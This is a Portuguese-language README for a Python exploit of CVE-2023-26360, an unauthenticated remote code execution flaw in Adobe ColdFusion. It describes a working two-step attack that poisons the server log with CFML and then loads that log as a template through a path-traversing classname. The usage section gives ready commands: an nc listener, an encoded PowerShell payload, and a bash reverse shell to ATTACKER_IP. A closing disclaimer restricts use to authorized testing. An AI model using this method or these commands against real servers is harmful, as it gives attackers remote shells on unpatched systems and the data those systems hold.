CVE-2023-26360 — Adobe ColdFusion RCE Não Autenticado

Implementação em Python do exploit de execução remota de código para o CVE-2023-26360, baseada na análise do módulo Metasploit original e no trabalho anterior de jakabakos.

Por que isso existe

O PoC do jakabakos tenta injetar <cfexecute> diretamente no parâmetro _variables e ler a saída do log do ColdFusion em uma única etapa. Essa abordagem falha porque o ColdFusion não avalia tags CFML inline nesse contexto, resultando em um erro 500 sem execução de código.

Esta implementação replica o mecanismo correto de duas etapas usado pelo módulo Metasploit:

1. Envenenamento de log — envia um payload _variables malformado ({<cftry>CFML</cftry>) para o endpoint CFC vulnerável. O ColdFusion falha ao analisá-lo e escreve o conteúdo bruto — incluindo o código CFML — em coldfusion-out.log.
2. Execução de template — usa a vulnerabilidade de desserialização de classname para carregar o arquivo de log envenenado como um template do ColdFusion, fazendo com que o servidor execute o CFML injetado.

A execução de comandos é realizada via java.lang.Runtime.exec() através de createObject, evitando qualquer dependência de <cfexecute>, que normalmente é desabilitado em ambientes reforçados ou de produção.

Versões afetadas

• Adobe ColdFusion 2021 Update 5 e anteriores
• Adobe ColdFusion 2018 Update 15 e anteriores

Requisitos

pip install -r requirements.txt

Uso

Inicie um listener antes de executar o exploit:

nc -lvnp 4444

Alvo Windows:

python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"

Alvo Linux:

python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Através de um proxy (ex.: Burp Suite):

python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080

Opções

Como funciona

┌─────────────┐         Step 1: plant CFML          ┌──────────────────┐
│   Attacker  │ ──── POST /_variables={<cftry>...  ──► iedit.cfc        │
│             │      CF fails to parse, logs CFML     │                  │
│             │                                       │ coldfusion-      │
│             │         Step 2: trigger execution     │ out.log          │
│             │ ──── POST classname=X..\logs\cf... ──► (loaded as       │
│             │                                       │  CFML template)  │
│  Listener   │ ◄─────────────── reverse shell ───────│                  │
└─────────────┘                                       └──────────────────┘

Referências

• Comunicado de Segurança da Adobe
• Análise da Rapid7 — AttackerKB
• Módulo Metasploit
• PoC do jakabakos

Aviso legal

Esta ferramenta é fornecida apenas para fins educacionais e avaliações de segurança autorizadas (testes de penetração, CTFs, ambientes de laboratório). Executar este exploit contra sistemas sem permissão explícita por escrito é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido.